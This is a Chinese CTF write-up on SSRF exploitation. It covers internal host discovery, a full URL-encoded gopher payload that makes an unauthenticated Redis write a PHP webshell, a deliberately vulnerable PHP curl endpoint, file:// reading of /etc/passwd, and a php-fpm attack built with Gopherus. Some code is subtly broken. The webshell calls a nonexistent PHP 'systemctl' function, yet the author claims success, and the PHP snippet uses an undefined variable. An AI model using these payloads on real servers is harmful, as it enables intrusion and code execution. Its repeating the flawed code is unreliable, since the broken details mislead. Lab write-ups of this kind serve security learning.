ssrf漏洞复现分析(1)

2024-08-26 02:20
文章标签 分析 漏洞 复现 ssrf

本文主要是介绍ssrf漏洞复现分析(1),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

Web-ssrfme

搭建环境

分析

ssrf攻击本地fastcgi漏洞复现


Web-ssrfme

搭建环境

这里我们使用的是docker环境,只需要把docker压缩包下载到Ubuntu下解压后执行命令即可,

docker-compose up -d

但是我的环境中不知道是缺少什么东西,他始终抱着一个错误,如下

这个问题我一直解决不了,这个时候我找了一个朋友,和他要到了docker镜像压缩包,如下

只需要把这个放在Ubuntu的任意目录下,执行命令即可

之后查看docker的images

之后构建docker-compose.yml文件即可

version: '3'
services:
        web:
                image: ctf/ssrfme
                ports:
                        - "8091:80"
        redis:
                image: web-ssrfme_redis

在这个文件目录下执行命令即可

docker-compose up

这样过后,我的环境终于搭建好了

分析

我们直接进入访问这个ip的8091

进入题目,直接把源码给了,那我们分析源码,源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测, 发现存在ssrf漏洞

目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:

我们查看phpinfo,查到了当前主机的内网ip为172.21.0.2,

我现在的想法是在这个ip下有没有其他端口开放,这里我们使用bp进行扫端口

在这个IP地址下只开放了80端口,那这个时候好像有些束手无策了,但是我们转换思想,为什么不能存在其他ip地址呢,这毕竟是内网,我们便可以探测该网段上存活的主机了,这里我手动探查

172.21.0.1,发现这个ip并没有什么反应

172.21.0.2,这个ip下重新打印了一次当前页面,仔细看后发现这个是我们当前主机ip,这就很正常了

172.21.0.3,在这个ip下,出现了不一样的结果,

我们使用bp扫一下开放那些端口

发现开放了6379,访问172.21.0.3:6379之后出现了一下界面

这是redis的报错,说明这台内网主机上还运行着redis服务。 这个时候第一反应就是redis未授权访问,接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。

经测试upload目录下是可写的,使用工具生成payload

因为是get传参,所以我们还需要在进行url code编码,

gopher://172.21.0.3:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520systemctl%2528%2527cat%2520/flag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0A

就这样成功拿下flag了

ssrf攻击本地fastcgi漏洞复现

环境:Ubuntu+Nginx+php

环境搭建

代码

<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);

curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);

echo $responseText;
curl_close($curl);
?>

开始测试

?url=http://www.baidu.com

到这里我们发现可以成功返回百度页面,接下来可以利用ssrf漏洞可以使用的协议dict,file,gopher等,那我们就可以先利用file协议查看etc/passwd

但是我们查看/etc/shadow就不可,因为我们的权限不够,那我们使用dict协议看看服务器本地开启了哪些端口,经过测试,发现没有明显的反馈,那我们可以看一下页面返回值,来猜测

这里利用了Nginx中间件,那么我们就有理由认为他这里有php-fpm,也有理由认为使用了9000端口。那我们接下来利用gopher协议去伪造请求了,这里我使用了gopherus工具生成exp。

因为我们是get传参,那我们就需要进行url code编码后才可以

这里我们就看到命令执行成功了。

这篇关于ssrf漏洞复现分析(1)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1107273

相关文章

Springboot中分析SQL性能的两种方式详解

《Springboot中分析SQL性能的两种方式详解》文章介绍了SQL性能分析的两种方式:MyBatis-Plus性能分析插件和p6spy框架,MyBatis-Plus插件配置简单,适用于开发和测试环... 目录SQL性能分析的两种方式:功能介绍实现方式:实现步骤:SQL性能分析的两种方式:功能介绍记录

最长公共子序列问题的深度分析与Java实现方式

《最长公共子序列问题的深度分析与Java实现方式》本文详细介绍了最长公共子序列(LCS)问题,包括其概念、暴力解法、动态规划解法,并提供了Java代码实现,暴力解法虽然简单,但在大数据处理中效率较低,... 目录最长公共子序列问题概述问题理解与示例分析暴力解法思路与示例代码动态规划解法DP 表的构建与意义动

C#使用DeepSeek API实现自然语言处理,文本分类和情感分析

《C#使用DeepSeekAPI实现自然语言处理,文本分类和情感分析》在C#中使用DeepSeekAPI可以实现多种功能,例如自然语言处理、文本分类、情感分析等,本文主要为大家介绍了具体实现步骤,... 目录准备工作文本生成文本分类问答系统代码生成翻译功能文本摘要文本校对图像描述生成总结在C#中使用Deep

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

Redis主从复制的原理分析

《Redis主从复制的原理分析》Redis主从复制通过将数据镜像到多个从节点,实现高可用性和扩展性,主从复制包括初次全量同步和增量同步两个阶段,为优化复制性能,可以采用AOF持久化、调整复制超时时间、... 目录Redis主从复制的原理主从复制概述配置主从复制数据同步过程复制一致性与延迟故障转移机制监控与维

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

Redis主从复制实现原理分析

《Redis主从复制实现原理分析》Redis主从复制通过Sync和CommandPropagate阶段实现数据同步,2.8版本后引入Psync指令,根据复制偏移量进行全量或部分同步,优化了数据传输效率... 目录Redis主DodMIK从复制实现原理实现原理Psync: 2.8版本后总结Redis主从复制实

锐捷和腾达哪个好? 两个品牌路由器对比分析

《锐捷和腾达哪个好?两个品牌路由器对比分析》在选择路由器时,Tenda和锐捷都是备受关注的品牌,各自有独特的产品特点和市场定位,选择哪个品牌的路由器更合适,实际上取决于你的具体需求和使用场景,我们从... 在选购路由器时,锐捷和腾达都是市场上备受关注的品牌,但它们的定位和特点却有所不同。锐捷更偏向企业级和专

Spring中Bean有关NullPointerException异常的原因分析

《Spring中Bean有关NullPointerException异常的原因分析》在Spring中使用@Autowired注解注入的bean不能在静态上下文中访问,否则会导致NullPointerE... 目录Spring中Bean有关NullPointerException异常的原因问题描述解决方案总结